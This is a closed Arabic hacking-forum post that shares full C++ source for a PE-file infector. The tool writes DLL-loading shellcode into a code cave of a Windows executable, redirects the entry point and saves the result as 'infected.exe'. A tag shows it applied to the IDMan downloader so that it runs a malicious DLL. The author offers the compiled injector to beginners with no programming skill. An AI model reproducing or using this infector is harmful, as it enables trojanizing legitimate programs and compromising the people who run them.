• بادئ الموضوع Dr.AhMeD.IRAQI
  • تاريخ البدء
الحالة
مغلق و غير مفتوح للمزيد من الردود.
غير متصل

Developer
إنضم
13 أغسطس 2014
المشاركات
45
الإعجابات
14
النقاط
30
الإجابات المقدمة: 0
#1

في الموضوع الأتي , سأقوم بعمل تطبيق لطريقة من طرق
الأنتشار في الملفات التنفيذية و سأقوم بمشاركة الملف التنفيذي
الذي يقوم بعمل حقن للشيل كود في الهدف المطلوب (الحاقن) ,
مع طرح السورس الكود الخاص به ليقوم بقرائته من هو مهتم بهذا الموضوع
مع الأنتباه الى أن الأكواد ب C/Cpp ,كما أنني حاولت أستهداف المبتدئين
أيضا قدر الأمكان عبر طرح الحاقن حيث يمكن لأي كان أستخدامه بدون شرط توفر خبرة برمجية سابقة .
لن أقوم بشرح تفصيلي للأكواد ولا لكيفية كتابة الشيل كود لأن الموضوع
يحتاج بكل تأكيد أكثر من موضوع واحد ,لكني سأقوم بتسليط الضوء
قريبا على هاته الأمور المتقدمة نوعا ما في مواضيعي القادمة .

سيثم حقن الشيل كود في مكان خالي في الهدف [Code Cave]
, مما يعني عدم الزيادة في حجم الملف الأصلي ,
كما أن الشيل كود كما يتضح في الفيديو دوره هو القيام بتشغيل
ملف dll معين في ذاكرة البرنامج الأصلي .

نتيجة التطبيق =>







شرح العملية =>


السورس

PHP:
/*
 
Source Code By 4w1il
No Script kiddies are allowed , thank you
 
*/
 
#include <windows.h>
#include <iostream>
#include <fstream>
 
using namespace std;
 
int main(){
    char Path[MAX_PATH];
    char offset[9];
 
    // Our Shellcode for loading a dll file to memory
 
    char shell[] = { 0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B, 0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03
        , 0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x4C, 0x6F, 0x61, 0x64, 0x75, 0xF4, 0x81, 0x78, 0x04, 0x4C, 0x69, 0x62, 0x72, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x61, 0x72, 0x79, 0x41, 0x75
        , 0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3, 0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x75, 0x70
        , 0x64, 0x61, 0x54, 0xFF, 0xD2, 0x68, 0x00, 0x00, 0x00, 0x00, 0xC3
    };
 
    printf("[File Path] => \n");
    cin.getline(Path, MAX_PATH);
    printf("\nTarget File : [%s]  \n",Path);
 
    // Get The Offset of The First Instruction From The User
 
    printf("Give me the [address] of the first [instruction] => \n");
    cin.getline(offset, 9);
    printf("\n[%s] \n", offset);
    DWORD Of = strtoul(offset, NULL, 16);
    memcpy(&shell[sizeof(shell) - 5],&Of,4);
    
    /// Read The Target !!
 
    int size = 0;
    unsigned char *target;
    ifstream ifm(Path,ios::in|ios::binary|ios::ate);
    if (ifm.is_open()){
        size = ifm.tellg();
        target = new unsigned char[size];
        ifm.seekg(0, ios::beg);
        ifm.read((char*)target, size);
        ifm.close();
    }
 
    /// Infecting
 
    PIMAGE_DOS_HEADER PIDH = PIMAGE_DOS_HEADER(target);
    if ((DWORD)PIDH->e_magic != IMAGE_DOS_SIGNATURE){
        printf("Only PE Files Are Allowed !!");
        getchar();
        return 0;
    }
    PIMAGE_NT_HEADERS PINH = PIMAGE_NT_HEADERS(target + PIDH->e_lfanew);
    if (PINH->Signature != IMAGE_NT_SIGNATURE){
        printf("Only PE Files Are Allowed !!");
        getchar();
        return 0;
    }
    PIMAGE_SECTION_HEADER PISH;
    BOOL CC = FALSE;
    for (int i = 0; i < PINH->FileHeader.NumberOfSections; i++){
        PISH = PIMAGE_SECTION_HEADER(DWORD(target) + PIDH->e_lfanew + 248 + (40 * i));
        if (strcmp((char*)PISH->Name, ".text") == 0){
            break;
        }
    }
 
 
    //Find Code Cave
 
    printf("\n[Looking for a nice hidden code cave ...] => \n");
    DWORD PPosi = 0;
    int count = 0;
    for (PPosi = PISH->PointerToRawData; PPosi < PISH->SizeOfRawData + PISH->PointerToRawData;PPosi++){
        if (target[PPosi] == 0x00){
            count++;
            if (count == sizeof(shell)){
                PPosi = PPosi - sizeof(shell);
                CC = TRUE;
                break;
            }
        }
        else
        {
            count = 0;
        }
    }
 
    if (CC == FALSE){
        printf("\nNo Code Cave has been found");
        getchar();
        return 0;
    }
 
    printf("\n[Code Cave has been found] \n");
    printf("\n[Writing the shellcode in the code cave ...] \n");
 
    memcpy(&target[PPosi], shell, sizeof(shell));   
    PINH->OptionalHeader.AddressOfEntryPoint = PPosi + PISH->VirtualAddress - PISH->PointerToRawData;
 
    ofstream ofm("infected.exe",ios::out|ios::binary);
    ofm.write((char*)target, size);
    ofm.close();
 
    printf("\nFile has been infected successfully - [Infected.exe]");
 
    getchar();
}
الحاقن =>

الروابط تضهر للاعضاء فقط سجل دخولك أو قم بالتسجيل الآن.



 


الحالة
مغلق و غير مفتوح للمزيد من الردود.
الوسوم - Tag الوسوم - Tag
حقن شيل كود لتشغيل ملف dll خبيث - التطبيق على IDMan